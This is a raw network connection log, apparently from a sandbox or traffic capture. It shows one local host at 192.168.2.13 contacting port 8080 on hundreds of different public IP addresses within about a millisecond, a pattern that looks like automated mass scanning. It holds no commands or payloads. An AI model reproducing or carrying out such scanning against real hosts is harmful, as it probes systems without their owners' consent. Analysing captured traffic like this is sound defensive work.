Jan 26, 2025 01:43:30.256227016 CET	47566	8080	192.168.2.13	62.22.88.0
Jan 26, 2025 01:43:30.256227016 CET	47566	8080	192.168.2.13	85.233.244.180
Jan 26, 2025 01:43:30.256227016 CET	47566	8080	192.168.2.13	94.164.65.46
Jan 26, 2025 01:43:30.256232023 CET	47566	8080	192.168.2.13	85.222.69.29
Jan 26, 2025 01:43:30.256238937 CET	47566	8080	192.168.2.13	94.49.153.130
Jan 26, 2025 01:43:30.256238937 CET	47566	8080	192.168.2.13	85.70.94.180
Jan 26, 2025 01:43:30.256238937 CET	47566	8080	192.168.2.13	62.181.17.180
Jan 26, 2025 01:43:30.256243944 CET	47566	8080	192.168.2.13	62.104.147.143
Jan 26, 2025 01:43:30.256243944 CET	47566	8080	192.168.2.13	95.32.139.97
Jan 26, 2025 01:43:30.256248951 CET	47566	8080	192.168.2.13	85.23.47.73
Jan 26, 2025 01:43:30.256248951 CET	47566	8080	192.168.2.13	94.116.3.122
Jan 26, 2025 01:43:30.256252050 CET	47566	8080	192.168.2.13	31.219.64.253
Jan 26, 2025 01:43:30.256262064 CET	47566	8080	192.168.2.13	62.142.168.221
Jan 26, 2025 01:43:30.256269932 CET	47566	8080	192.168.2.13	85.160.227.181
Jan 26, 2025 01:43:30.256270885 CET	47566	8080	192.168.2.13	95.105.241.134
Jan 26, 2025 01:43:30.256270885 CET	47566	8080	192.168.2.13	85.187.226.11
Jan 26, 2025 01:43:30.256280899 CET	47566	8080	192.168.2.13	94.205.22.130
Jan 26, 2025 01:43:30.256282091 CET	47566	8080	192.168.2.13	85.9.43.116
Jan 26, 2025 01:43:30.256282091 CET	47566	8080	192.168.2.13	94.182.195.254
Jan 26, 2025 01:43:30.256283045 CET	47566	8080	192.168.2.13	85.234.229.105
Jan 26, 2025 01:43:30.256283998 CET	47566	8080	192.168.2.13	95.45.48.137
Jan 26, 2025 01:43:30.256283998 CET	47566	8080	192.168.2.13	95.77.235.14
Jan 26, 2025 01:43:30.256289959 CET	47566	8080	192.168.2.13	62.73.190.247
Jan 26, 2025 01:43:30.256290913 CET	47566	8080	192.168.2.13	31.42.203.93
Jan 26, 2025 01:43:30.256294012 CET	47566	8080	192.168.2.13	95.248.134.24
Jan 26, 2025 01:43:30.256299973 CET	47566	8080	192.168.2.13	95.195.60.235
Jan 26, 2025 01:43:30.256309986 CET	47566	8080	192.168.2.13	94.153.161.213
Jan 26, 2025 01:43:30.256309986 CET	47566	8080	192.168.2.13	94.64.134.146
Jan 26, 2025 01:43:30.256311893 CET	47566	8080	192.168.2.13	85.60.87.183
Jan 26, 2025 01:43:30.256311893 CET	47566	8080	192.168.2.13	95.4.255.68
Jan 26, 2025 01:43:30.256320000 CET	47566	8080	192.168.2.13	95.42.94.84
Jan 26, 2025 01:43:30.256331921 CET	47566	8080	192.168.2.13	62.123.240.124
Jan 26, 2025 01:43:30.256333113 CET	47566	8080	192.168.2.13	62.204.125.153
Jan 26, 2025 01:43:30.256333113 CET	47566	8080	192.168.2.13	95.182.138.121
Jan 26, 2025 01:43:30.256334066 CET	47566	8080	192.168.2.13	94.108.19.140
Jan 26, 2025 01:43:30.256334066 CET	47566	8080	192.168.2.13	94.85.96.240
Jan 26, 2025 01:43:30.256334066 CET	47566	8080	192.168.2.13	95.211.41.136
Jan 26, 2025 01:43:30.256334066 CET	47566	8080	192.168.2.13	62.135.13.104
Jan 26, 2025 01:43:30.256339073 CET	47566	8080	192.168.2.13	94.157.133.215
Jan 26, 2025 01:43:30.256344080 CET	47566	8080	192.168.2.13	94.108.180.120
Jan 26, 2025 01:43:30.256344080 CET	47566	8080	192.168.2.13	95.3.107.55
Jan 26, 2025 01:43:30.256344080 CET	47566	8080	192.168.2.13	31.61.68.153
Jan 26, 2025 01:43:30.256352901 CET	47566	8080	192.168.2.13	62.3.227.185
Jan 26, 2025 01:43:30.256354094 CET	47566	8080	192.168.2.13	94.171.20.56
Jan 26, 2025 01:43:30.256355047 CET	47566	8080	192.168.2.13	62.188.92.233
Jan 26, 2025 01:43:30.256366968 CET	47566	8080	192.168.2.13	94.140.78.109
Jan 26, 2025 01:43:30.256371021 CET	47566	8080	192.168.2.13	94.140.239.11
Jan 26, 2025 01:43:30.256371021 CET	47566	8080	192.168.2.13	85.117.38.101
Jan 26, 2025 01:43:30.256375074 CET	47566	8080	192.168.2.13	94.93.57.5
Jan 26, 2025 01:43:30.256381035 CET	47566	8080	192.168.2.13	85.32.185.242
Jan 26, 2025 01:43:30.256393909 CET	47566	8080	192.168.2.13	85.69.167.144
Jan 26, 2025 01:43:30.256400108 CET	47566	8080	192.168.2.13	85.128.141.201
Jan 26, 2025 01:43:30.256401062 CET	47566	8080	192.168.2.13	85.15.77.65
Jan 26, 2025 01:43:30.256411076 CET	47566	8080	192.168.2.13	85.213.153.207
Jan 26, 2025 01:43:30.256412029 CET	47566	8080	192.168.2.13	95.145.229.234
Jan 26, 2025 01:43:30.256412029 CET	47566	8080	192.168.2.13	62.227.247.8
Jan 26, 2025 01:43:30.256412029 CET	47566	8080	192.168.2.13	85.8.220.63
Jan 26, 2025 01:43:30.256417036 CET	47566	8080	192.168.2.13	95.2.178.234
Jan 26, 2025 01:43:30.256417990 CET	47566	8080	192.168.2.13	62.158.204.135
Jan 26, 2025 01:43:30.256424904 CET	47566	8080	192.168.2.13	95.65.104.53
Jan 26, 2025 01:43:30.256426096 CET	47566	8080	192.168.2.13	95.125.96.11
Jan 26, 2025 01:43:30.256431103 CET	47566	8080	192.168.2.13	62.197.184.218
Jan 26, 2025 01:43:30.256432056 CET	47566	8080	192.168.2.13	85.211.29.225
Jan 26, 2025 01:43:30.256433964 CET	47566	8080	192.168.2.13	62.168.164.79
Jan 26, 2025 01:43:30.256447077 CET	47566	8080	192.168.2.13	94.120.161.77
Jan 26, 2025 01:43:30.256447077 CET	47566	8080	192.168.2.13	62.160.111.24
Jan 26, 2025 01:43:30.256447077 CET	47566	8080	192.168.2.13	62.239.2.90
Jan 26, 2025 01:43:30.256457090 CET	47566	8080	192.168.2.13	31.75.148.123
Jan 26, 2025 01:43:30.256458044 CET	47566	8080	192.168.2.13	31.85.63.245
Jan 26, 2025 01:43:30.256458044 CET	47566	8080	192.168.2.13	85.4.78.170
Jan 26, 2025 01:43:30.256464958 CET	47566	8080	192.168.2.13	31.184.166.47
Jan 26, 2025 01:43:30.256464958 CET	47566	8080	192.168.2.13	95.74.106.199
Jan 26, 2025 01:43:30.256468058 CET	47566	8080	192.168.2.13	31.26.237.178
Jan 26, 2025 01:43:30.256468058 CET	47566	8080	192.168.2.13	62.176.201.18
Jan 26, 2025 01:43:30.256473064 CET	47566	8080	192.168.2.13	85.25.87.84
Jan 26, 2025 01:43:30.256481886 CET	47566	8080	192.168.2.13	31.9.104.160
Jan 26, 2025 01:43:30.256486893 CET	47566	8080	192.168.2.13	95.27.148.248
Jan 26, 2025 01:43:30.256493092 CET	47566	8080	192.168.2.13	62.86.20.49
Jan 26, 2025 01:43:30.256506920 CET	47566	8080	192.168.2.13	31.175.250.26
Jan 26, 2025 01:43:30.256508112 CET	47566	8080	192.168.2.13	95.247.139.31
Jan 26, 2025 01:43:30.256509066 CET	47566	8080	192.168.2.13	31.143.98.25
Jan 26, 2025 01:43:30.256510019 CET	47566	8080	192.168.2.13	31.85.38.147
Jan 26, 2025 01:43:30.256516933 CET	47566	8080	192.168.2.13	95.233.166.23
Jan 26, 2025 01:43:30.256516933 CET	47566	8080	192.168.2.13	31.230.192.63
Jan 26, 2025 01:43:30.256516933 CET	47566	8080	192.168.2.13	31.135.110.98
Jan 26, 2025 01:43:30.256524086 CET	47566	8080	192.168.2.13	95.207.125.14
Jan 26, 2025 01:43:30.256526947 CET	47566	8080	192.168.2.13	62.207.50.106
Jan 26, 2025 01:43:30.256534100 CET	47566	8080	192.168.2.13	95.207.34.23
Jan 26, 2025 01:43:30.256552935 CET	47566	8080	192.168.2.13	62.185.244.203
Jan 26, 2025 01:43:30.256552935 CET	47566	8080	192.168.2.13	85.232.208.148
Jan 26, 2025 01:43:30.256552935 CET	47566	8080	192.168.2.13	94.205.19.230
Jan 26, 2025 01:43:30.256565094 CET	47566	8080	192.168.2.13	95.223.71.163
Jan 26, 2025 01:43:30.256565094 CET	47566	8080	192.168.2.13	95.150.48.100
Jan 26, 2025 01:43:30.256565094 CET	47566	8080	192.168.2.13	94.30.96.104
Jan 26, 2025 01:43:30.256565094 CET	47566	8080	192.168.2.13	95.185.80.129
Jan 26, 2025 01:43:30.256572008 CET	47566	8080	192.168.2.13	94.178.250.84
Jan 26, 2025 01:43:30.256582975 CET	47566	8080	192.168.2.13	85.224.126.203
Jan 26, 2025 01:43:30.256587029 CET	47566	8080	192.168.2.13	85.58.125.119
Jan 26, 2025 01:43:30.256587029 CET	47566	8080	192.168.2.13	95.245.222.89
Jan 26, 2025 01:43:30.256589890 CET	47566	8080	192.168.2.13	94.154.50.63
Jan 26, 2025 01:43:30.256593943 CET	47566	8080	192.168.2.13	85.65.178.9
Jan 26, 2025 01:43:30.256594896 CET	47566	8080	192.168.2.13	31.237.245.61
Jan 26, 2025 01:43:30.256601095 CET	47566	8080	192.168.2.13	85.132.162.95
Jan 26, 2025 01:43:30.256601095 CET	47566	8080	192.168.2.13	94.196.237.155
Jan 26, 2025 01:43:30.256613016 CET	47566	8080	192.168.2.13	31.218.174.204
Jan 26, 2025 01:43:30.256623030 CET	47566	8080	192.168.2.13	62.75.117.52
Jan 26, 2025 01:43:30.256623983 CET	47566	8080	192.168.2.13	94.103.150.192
Jan 26, 2025 01:43:30.256623983 CET	47566	8080	192.168.2.13	95.206.50.128
Jan 26, 2025 01:43:30.256633043 CET	47566	8080	192.168.2.13	95.179.197.101
Jan 26, 2025 01:43:30.256633997 CET	47566	8080	192.168.2.13	94.198.231.38
Jan 26, 2025 01:43:30.256642103 CET	47566	8080	192.168.2.13	95.10.188.181
Jan 26, 2025 01:43:30.256644011 CET	47566	8080	192.168.2.13	95.186.6.231
Jan 26, 2025 01:43:30.256659031 CET	47566	8080	192.168.2.13	94.154.108.232
Jan 26, 2025 01:43:30.256659031 CET	47566	8080	192.168.2.13	95.127.2.82
Jan 26, 2025 01:43:30.256661892 CET	47566	8080	192.168.2.13	62.135.255.226
Jan 26, 2025 01:43:30.256664038 CET	47566	8080	192.168.2.13	94.199.111.8
Jan 26, 2025 01:43:30.256671906 CET	47566	8080	192.168.2.13	94.242.36.108
Jan 26, 2025 01:43:30.256673098 CET	47566	8080	192.168.2.13	94.187.229.63
Jan 26, 2025 01:43:30.256673098 CET	47566	8080	192.168.2.13	94.91.108.27
Jan 26, 2025 01:43:30.256685019 CET	47566	8080	192.168.2.13	95.86.35.16
Jan 26, 2025 01:43:30.256685019 CET	47566	8080	192.168.2.13	95.69.52.101
Jan 26, 2025 01:43:30.256685972 CET	47566	8080	192.168.2.13	62.83.175.232
Jan 26, 2025 01:43:30.256692886 CET	47566	8080	192.168.2.13	94.102.167.131
Jan 26, 2025 01:43:30.256709099 CET	47566	8080	192.168.2.13	85.125.71.166
Jan 26, 2025 01:43:30.256712914 CET	47566	8080	192.168.2.13	95.8.106.86
Jan 26, 2025 01:43:30.256722927 CET	47566	8080	192.168.2.13	94.165.84.171
Jan 26, 2025 01:43:30.256724119 CET	47566	8080	192.168.2.13	85.213.75.30
Jan 26, 2025 01:43:30.256727934 CET	47566	8080	192.168.2.13	31.70.199.131
Jan 26, 2025 01:43:30.256727934 CET	47566	8080	192.168.2.13	85.196.12.241
Jan 26, 2025 01:43:30.256737947 CET	47566	8080	192.168.2.13	85.57.80.91
Jan 26, 2025 01:43:30.256737947 CET	47566	8080	192.168.2.13	85.229.49.112
Jan 26, 2025 01:43:30.256740093 CET	47566	8080	192.168.2.13	95.37.41.255
Jan 26, 2025 01:43:30.256740093 CET	47566	8080	192.168.2.13	31.4.37.122
Jan 26, 2025 01:43:30.256742954 CET	47566	8080	192.168.2.13	62.96.130.26
Jan 26, 2025 01:43:30.256742954 CET	47566	8080	192.168.2.13	85.214.72.183
Jan 26, 2025 01:43:30.256747961 CET	47566	8080	192.168.2.13	94.109.117.245
Jan 26, 2025 01:43:30.256752968 CET	47566	8080	192.168.2.13	94.243.206.248
Jan 26, 2025 01:43:30.256762028 CET	47566	8080	192.168.2.13	95.58.251.2
Jan 26, 2025 01:43:30.256762028 CET	47566	8080	192.168.2.13	31.147.78.189
Jan 26, 2025 01:43:30.256769896 CET	47566	8080	192.168.2.13	85.249.102.123
Jan 26, 2025 01:43:30.256778002 CET	47566	8080	192.168.2.13	95.224.152.102
Jan 26, 2025 01:43:30.256778002 CET	47566	8080	192.168.2.13	85.75.140.184
Jan 26, 2025 01:43:30.256779909 CET	47566	8080	192.168.2.13	95.169.142.212
Jan 26, 2025 01:43:30.256779909 CET	47566	8080	192.168.2.13	95.211.37.172
Jan 26, 2025 01:43:30.256781101 CET	47566	8080	192.168.2.13	85.65.158.167
Jan 26, 2025 01:43:30.256779909 CET	47566	8080	192.168.2.13	31.41.82.136
Jan 26, 2025 01:43:30.256781101 CET	47566	8080	192.168.2.13	85.178.22.166
Jan 26, 2025 01:43:30.256779909 CET	47566	8080	192.168.2.13	85.180.135.77
Jan 26, 2025 01:43:30.256779909 CET	47566	8080	192.168.2.13	85.179.24.26
Jan 26, 2025 01:43:30.256779909 CET	47566	8080	192.168.2.13	31.219.137.117
Jan 26, 2025 01:43:30.256779909 CET	47566	8080	192.168.2.13	94.239.66.3
Jan 26, 2025 01:43:30.256779909 CET	47566	8080	192.168.2.13	31.202.118.103
Jan 26, 2025 01:43:30.256786108 CET	47566	8080	192.168.2.13	62.133.101.228
Jan 26, 2025 01:43:30.256793022 CET	47566	8080	192.168.2.13	85.170.93.239
Jan 26, 2025 01:43:30.256793976 CET	47566	8080	192.168.2.13	62.192.115.166
Jan 26, 2025 01:43:30.256793976 CET	47566	8080	192.168.2.13	94.202.194.148
Jan 26, 2025 01:43:30.256793976 CET	47566	8080	192.168.2.13	62.57.65.119
Jan 26, 2025 01:43:30.256793976 CET	47566	8080	192.168.2.13	85.92.173.20
Jan 26, 2025 01:43:30.256793976 CET	47566	8080	192.168.2.13	31.203.170.187
Jan 26, 2025 01:43:30.256793976 CET	47566	8080	192.168.2.13	62.96.63.12
Jan 26, 2025 01:43:30.256793976 CET	47566	8080	192.168.2.13	62.64.111.35
Jan 26, 2025 01:43:30.256793976 CET	47566	8080	192.168.2.13	94.230.248.138
Jan 26, 2025 01:43:30.256802082 CET	47566	8080	192.168.2.13	31.54.172.119
Jan 26, 2025 01:43:30.256803036 CET	47566	8080	192.168.2.13	95.58.28.32
Jan 26, 2025 01:43:30.256803036 CET	47566	8080	192.168.2.13	85.142.122.168
Jan 26, 2025 01:43:30.256803989 CET	47566	8080	192.168.2.13	94.87.15.176
Jan 26, 2025 01:43:30.256803989 CET	47566	8080	192.168.2.13	62.66.255.230
Jan 26, 2025 01:43:30.256812096 CET	47566	8080	192.168.2.13	94.74.32.26
Jan 26, 2025 01:43:30.256818056 CET	47566	8080	192.168.2.13	85.33.160.99
Jan 26, 2025 01:43:30.256818056 CET	47566	8080	192.168.2.13	94.232.71.86
Jan 26, 2025 01:43:30.256827116 CET	47566	8080	192.168.2.13	62.220.61.136
Jan 26, 2025 01:43:30.256828070 CET	47566	8080	192.168.2.13	85.46.86.157
Jan 26, 2025 01:43:30.256828070 CET	47566	8080	192.168.2.13	62.74.205.141
Jan 26, 2025 01:43:30.256839037 CET	47566	8080	192.168.2.13	31.223.232.57
Jan 26, 2025 01:43:30.256841898 CET	47566	8080	192.168.2.13	31.159.210.224
Jan 26, 2025 01:43:30.256853104 CET	47566	8080	192.168.2.13	95.185.247.222
Jan 26, 2025 01:43:30.256854057 CET	47566	8080	192.168.2.13	31.173.184.215
Jan 26, 2025 01:43:30.256858110 CET	47566	8080	192.168.2.13	85.137.110.244
Jan 26, 2025 01:43:30.256869078 CET	47566	8080	192.168.2.13	31.153.42.111
Jan 26, 2025 01:43:30.256870031 CET	47566	8080	192.168.2.13	85.155.93.73
Jan 26, 2025 01:43:30.256876945 CET	47566	8080	192.168.2.13	85.94.60.125
Jan 26, 2025 01:43:30.256877899 CET	47566	8080	192.168.2.13	85.115.156.240
Jan 26, 2025 01:43:30.256886959 CET	47566	8080	192.168.2.13	95.228.41.165
Jan 26, 2025 01:43:30.256887913 CET	47566	8080	192.168.2.13	95.88.107.49
Jan 26, 2025 01:43:30.256887913 CET	47566	8080	192.168.2.13	31.2.71.177
Jan 26, 2025 01:43:30.256887913 CET	47566	8080	192.168.2.13	85.209.227.161
Jan 26, 2025 01:43:30.256896973 CET	47566	8080	192.168.2.13	85.120.14.188
Jan 26, 2025 01:43:30.256897926 CET	47566	8080	192.168.2.13	94.225.232.73
Jan 26, 2025 01:43:30.256897926 CET	47566	8080	192.168.2.13	95.159.148.202
Jan 26, 2025 01:43:30.256899118 CET	47566	8080	192.168.2.13	85.47.94.111
Jan 26, 2025 01:43:30.256902933 CET	47566	8080	192.168.2.13	62.192.224.231
Jan 26, 2025 01:43:30.256906033 CET	47566	8080	192.168.2.13	85.24.183.20
Jan 26, 2025 01:43:30.256902933 CET	47566	8080	192.168.2.13	95.65.208.112
Jan 26, 2025 01:43:30.256902933 CET	47566	8080	192.168.2.13	95.44.4.203
Jan 26, 2025 01:43:30.256902933 CET	47566	8080	192.168.2.13	85.226.155.110
Jan 26, 2025 01:43:30.256907940 CET	47566	8080	192.168.2.13	85.4.78.5
Jan 26, 2025 01:43:30.256905079 CET	47566	8080	192.168.2.13	85.5.31.227
Jan 26, 2025 01:43:30.256917000 CET	47566	8080	192.168.2.13	94.59.33.32
Jan 26, 2025 01:43:30.256918907 CET	47566	8080	192.168.2.13	95.210.131.125
Jan 26, 2025 01:43:30.256920099 CET	47566	8080	192.168.2.13	94.92.18.110
Jan 26, 2025 01:43:30.256921053 CET	47566	8080	192.168.2.13	95.167.187.71
Jan 26, 2025 01:43:30.256926060 CET	47566	8080	192.168.2.13	31.229.18.113
Jan 26, 2025 01:43:30.256927013 CET	47566	8080	192.168.2.13	31.151.5.20
Jan 26, 2025 01:43:30.256934881 CET	47566	8080	192.168.2.13	85.148.194.62
Jan 26, 2025 01:43:30.256934881 CET	47566	8080	192.168.2.13	31.83.211.93
Jan 26, 2025 01:43:30.256938934 CET	47566	8080	192.168.2.13	85.60.3.238
Jan 26, 2025 01:43:30.256942987 CET	47566	8080	192.168.2.13	94.243.131.88
Jan 26, 2025 01:43:30.256942987 CET	47566	8080	192.168.2.13	31.237.168.93
Jan 26, 2025 01:43:30.256963015 CET	47566	8080	192.168.2.13	94.155.108.43
Jan 26, 2025 01:43:30.256966114 CET	47566	8080	192.168.2.13	62.200.103.34
Jan 26, 2025 01:43:30.256967068 CET	47566	8080	192.168.2.13	31.1.59.214
Jan 26, 2025 01:43:30.256968021 CET	47566	8080	192.168.2.13	85.126.202.98
Jan 26, 2025 01:43:30.256968021 CET	47566	8080	192.168.2.13	85.63.245.142
Jan 26, 2025 01:43:30.256968975 CET	47566	8080	192.168.2.13	94.231.3.72
Jan 26, 2025 01:43:30.256968975 CET	47566	8080	192.168.2.13	31.164.89.155
Jan 26, 2025 01:43:30.256968975 CET	47566	8080	192.168.2.13	95.192.34.56
Jan 26, 2025 01:43:30.256983995 CET	47566	8080	192.168.2.13	94.200.109.35
Jan 26, 2025 01:43:30.256984949 CET	47566	8080	192.168.2.13	31.146.13.29
Jan 26, 2025 01:43:30.256984949 CET	47566	8080	192.168.2.13	62.214.133.84
Jan 26, 2025 01:43:30.256985903 CET	47566	8080	192.168.2.13	62.210.50.193
Jan 26, 2025 01:43:30.256985903 CET	47566	8080	192.168.2.13	95.221.14.243
Jan 26, 2025 01:43:30.256987095 CET	47566	8080	192.168.2.13	62.226.30.150
Jan 26, 2025 01:43:30.256985903 CET	47566	8080	192.168.2.13	94.42.199.197
Jan 26, 2025 01:43:30.256988049 CET	47566	8080	192.168.2.13	85.248.23.120
Jan 26, 2025 01:43:30.256988049 CET	47566	8080	192.168.2.13	31.72.30.111
Jan 26, 2025 01:43:30.256998062 CET	47566	8080	192.168.2.13	95.11.15.226
Jan 26, 2025 01:43:30.256998062 CET	47566	8080	192.168.2.13	31.49.96.134
Jan 26, 2025 01:43:30.256998062 CET	47566	8080	192.168.2.13	95.202.97.78
Jan 26, 2025 01:43:30.256999016 CET	47566	8080	192.168.2.13	94.145.27.75
Jan 26, 2025 01:43:30.256999016 CET	47566	8080	192.168.2.13	31.17.235.245
Jan 26, 2025 01:43:30.257009983 CET	47566	8080	192.168.2.13	62.255.156.132
Jan 26, 2025 01:43:30.257009983 CET	47566	8080	192.168.2.13	95.60.99.235
Jan 26, 2025 01:43:30.257010937 CET	47566	8080	192.168.2.13	85.72.6.249
Jan 26, 2025 01:43:30.257011890 CET	47566	8080	192.168.2.13	85.223.38.52
Jan 26, 2025 01:43:30.257010937 CET	47566	8080	192.168.2.13	85.12.149.207
Jan 26, 2025 01:43:30.257018089 CET	47566	8080	192.168.2.13	62.159.56.6
Jan 26, 2025 01:43:30.257019997 CET	47566	8080	192.168.2.13	62.183.159.202
Jan 26, 2025 01:43:30.257021904 CET	47566	8080	192.168.2.13	62.40.165.194
Jan 26, 2025 01:43:30.257024050 CET	47566	8080	192.168.2.13	95.235.228.164
Jan 26, 2025 01:43:30.257024050 CET	47566	8080	192.168.2.13	31.204.165.60
Jan 26, 2025 01:43:30.257024050 CET	47566	8080	192.168.2.13	31.10.145.51
Jan 26, 2025 01:43:30.257031918 CET	47566	8080	192.168.2.13	62.58.46.148
Jan 26, 2025 01:43:30.257030964 CET	47566	8080	192.168.2.13	94.61.156.88
Jan 26, 2025 01:43:30.257031918 CET	47566	8080	192.168.2.13	31.34.126.16
Jan 26, 2025 01:43:30.257039070 CET	47566	8080	192.168.2.13	94.73.156.209
Jan 26, 2025 01:43:30.257040977 CET	47566	8080	192.168.2.13	85.209.141.243
Jan 26, 2025 01:43:30.257040977 CET	47566	8080	192.168.2.13	62.200.188.168
Jan 26, 2025 01:43:30.257040977 CET	47566	8080	192.168.2.13	95.229.218.67
Jan 26, 2025 01:43:30.257045984 CET	47566	8080	192.168.2.13	95.53.91.204
Jan 26, 2025 01:43:30.257046938 CET	47566	8080	192.168.2.13	85.98.73.164
Jan 26, 2025 01:43:30.257055044 CET	47566	8080	192.168.2.13	31.65.37.129
Jan 26, 2025 01:43:30.257055044 CET	47566	8080	192.168.2.13	31.191.68.150
Jan 26, 2025 01:43:30.257055044 CET	47566	8080	192.168.2.13	85.54.187.91
Jan 26, 2025 01:43:30.257062912 CET	47566	8080	192.168.2.13	85.92.37.55
Jan 26, 2025 01:43:30.257062912 CET	47566	8080	192.168.2.13	31.54.106.0
Jan 26, 2025 01:43:30.257064104 CET	47566	8080	192.168.2.13	62.63.119.165
Jan 26, 2025 01:43:30.257069111 CET	47566	8080	192.168.2.13	31.18.215.142
Jan 26, 2025 01:43:30.257071972 CET	47566	8080	192.168.2.13	94.223.120.167
Jan 26, 2025 01:43:30.257075071 CET	47566	8080	192.168.2.13	95.19.116.7
Jan 26, 2025 01:43:30.257077932 CET	47566	8080	192.168.2.13	62.196.182.117
Jan 26, 2025 01:43:30.257077932 CET	47566	8080	192.168.2.13	85.214.20.66
Jan 26, 2025 01:43:30.257091999 CET	47566	8080	192.168.2.13	94.98.224.233
Jan 26, 2025 01:43:30.257092953 CET	47566	8080	192.168.2.13	94.85.247.18
Jan 26, 2025 01:43:30.257092953 CET	47566	8080	192.168.2.13	94.4.206.86
Jan 26, 2025 01:43:30.257098913 CET	47566	8080	192.168.2.13	85.113.145.120
Jan 26, 2025 01:43:30.257102966 CET	47566	8080	192.168.2.13	85.32.17.8
Jan 26, 2025 01:43:30.257107019 CET	47566	8080	192.168.2.13	62.158.65.245
Jan 26, 2025 01:43:30.257107019 CET	47566	8080	192.168.2.13	31.21.223.4
Jan 26, 2025 01:43:30.257112980 CET	47566	8080	192.168.2.13	62.81.170.135
Jan 26, 2025 01:43:30.257113934 CET	47566	8080	192.168.2.13	62.157.94.68
Jan 26, 2025 01:43:30.257128954 CET	47566	8080	192.168.2.13	94.117.238.87
Jan 26, 2025 01:43:30.257129908 CET	47566	8080	192.168.2.13	95.78.82.180
Jan 26, 2025 01:43:30.257131100 CET	47566	8080	192.168.2.13	62.128.34.185
Jan 26, 2025 01:43:30.257131100 CET	47566	8080	192.168.2.13	31.132.133.201
Jan 26, 2025 01:43:30.257131100 CET	47566	8080	192.168.2.13	85.1.145.118
Jan 26, 2025 01:43:30.257133007 CET	47566	8080	192.168.2.13	94.156.182.152
Jan 26, 2025 01:43:30.257133007 CET	47566	8080	192.168.2.13	62.149.192.76
Jan 26, 2025 01:43:30.257133007 CET	47566	8080	192.168.2.13	31.176.112.89
Jan 26, 2025 01:43:30.257133007 CET	47566	8080	192.168.2.13	85.27.143.91
Jan 26, 2025 01:43:30.257133007 CET	47566	8080	192.168.2.13	31.223.105.171
Jan 26, 2025 01:43:30.257133007 CET	47566	8080	192.168.2.13	94.196.12.220
Jan 26, 2025 01:43:30.257133007 CET	47566	8080	192.168.2.13	62.101.252.150
Jan 26, 2025 01:43:30.257138014 CET	47566	8080	192.168.2.13	31.204.163.138
Jan 26, 2025 01:43:30.257152081 CET	47566	8080	192.168.2.13	95.173.167.20
Jan 26, 2025 01:43:30.257163048 CET	47566	8080	192.168.2.13	31.30.95.202
Jan 26, 2025 01:43:30.257168055 CET	47566	8080	192.168.2.13	85.27.153.243
Jan 26, 2025 01:43:30.257172108 CET	47566	8080	192.168.2.13	95.239.107.113
Jan 26, 2025 01:43:30.257175922 CET	47566	8080	192.168.2.13	62.202.111.140
Jan 26, 2025 01:43:30.257179976 CET	47566	8080	192.168.2.13	85.153.102.85
Jan 26, 2025 01:43:30.257188082 CET	47566	8080	192.168.2.13	94.243.227.1
Jan 26, 2025 01:43:30.257194042 CET	47566	8080	192.168.2.13	95.121.129.161
Jan 26, 2025 01:43:30.257194042 CET	47566	8080	192.168.2.13	85.131.131.214
Jan 26, 2025 01:43:30.257198095 CET	47566	8080	192.168.2.13	94.192.9.65
Jan 26, 2025 01:43:30.257205963 CET	47566	8080	192.168.2.13	62.113.68.224
Jan 26, 2025 01:43:30.257206917 CET	47566	8080	192.168.2.13	31.62.209.18
Jan 26, 2025 01:43:30.257209063 CET	47566	8080	192.168.2.13	85.98.136.136
Jan 26, 2025 01:43:30.257221937 CET	47566	8080	192.168.2.13	95.50.181.25
Jan 26, 2025 01:43:30.257221937 CET	47566	8080	192.168.2.13	31.32.228.168
Jan 26, 2025 01:43:30.257222891 CET	47566	8080	192.168.2.13	62.77.242.227
Jan 26, 2025 01:43:30.257222891 CET	47566	8080	192.168.2.13	95.228.142.93
Jan 26, 2025 01:43:30.257234097 CET	47566	8080	192.168.2.13	85.8.152.140
Jan 26, 2025 01:43:30.257234097 CET	47566	8080	192.168.2.13	31.154.113.31
Jan 26, 2025 01:43:30.257235050 CET	47566	8080	192.168.2.13	94.254.55.211
Jan 26, 2025 01:43:30.257255077 CET	47566	8080	192.168.2.13	95.4.132.74
Jan 26, 2025 01:43:30.257255077 CET	47566	8080	192.168.2.13	85.139.139.125
Jan 26, 2025 01:43:30.257256031 CET	47566	8080	192.168.2.13	31.140.234.78
Jan 26, 2025 01:43:30.257265091 CET	47566	8080	192.168.2.13	95.221.192.3
Jan 26, 2025 01:43:30.257265091 CET	47566	8080	192.168.2.13	62.158.27.151
Jan 26, 2025 01:43:30.257265091 CET	47566	8080	192.168.2.13	62.140.157.134
Jan 26, 2025 01:43:30.257272959 CET	47566	8080	192.168.2.13	94.236.226.105
Jan 26, 2025 01:43:30.257272959 CET	47566	8080	192.168.2.13	95.192.185.8
Jan 26, 2025 01:43:30.257273912 CET	47566	8080	192.168.2.13	94.9.224.82
Jan 26, 2025 01:43:30.257281065 CET	47566	8080	192.168.2.13	95.140.74.150
Jan 26, 2025 01:43:30.257282019 CET	47566	8080	192.168.2.13	31.238.160.150
Jan 26, 2025 01:43:30.257285118 CET	47566	8080	192.168.2.13	62.99.71.131
Jan 26, 2025 01:43:30.257286072 CET	47566	8080	192.168.2.13	85.28.231.227
Jan 26, 2025 01:43:30.257292032 CET	47566	8080	192.168.2.13	95.12.141.114
Jan 26, 2025 01:43:30.257297039 CET	47566	8080	192.168.2.13	62.37.198.48
Jan 26, 2025 01:43:30.257297039 CET	47566	8080	192.168.2.13	94.70.19.194
Jan 26, 2025 01:43:30.257298946 CET	47566	8080	192.168.2.13	62.72.142.88
Jan 26, 2025 01:43:30.257306099 CET	47566	8080	192.168.2.13	31.51.64.29
Jan 26, 2025 01:43:30.257306099 CET	47566	8080	192.168.2.13	31.109.104.103
Jan 26, 2025 01:43:30.257306099 CET	47566	8080	192.168.2.13	62.229.118.203
Jan 26, 2025 01:43:30.257308960 CET	47566	8080	192.168.2.13	85.227.229.68
Jan 26, 2025 01:43:30.257313967 CET	47566	8080	192.168.2.13	62.241.128.150
Jan 26, 2025 01:43:30.257328033 CET	8080	43536	31.45.234.76	192.168.2.13
Jan 26, 2025 01:43:30.257343054 CET	47566	8080	192.168.2.13	95.160.175.17
Jan 26, 2025 01:43:30.257347107 CET	47566	8080	192.168.2.13	62.124.218.103
Jan 26, 2025 01:43:30.257359982 CET	47566	8080	192.168.2.13	31.102.102.65
Jan 26, 2025 01:43:30.257364035 CET	47566	8080	192.168.2.13	62.6.106.175
Jan 26, 2025 01:43:30.257370949 CET	47566	8080	192.168.2.13	85.95.173.236
Jan 26, 2025 01:43:30.257375002 CET	47566	8080	192.168.2.13	85.101.104.253
Jan 26, 2025 01:43:30.257380962 CET	47566	8080	192.168.2.13	85.251.2.136
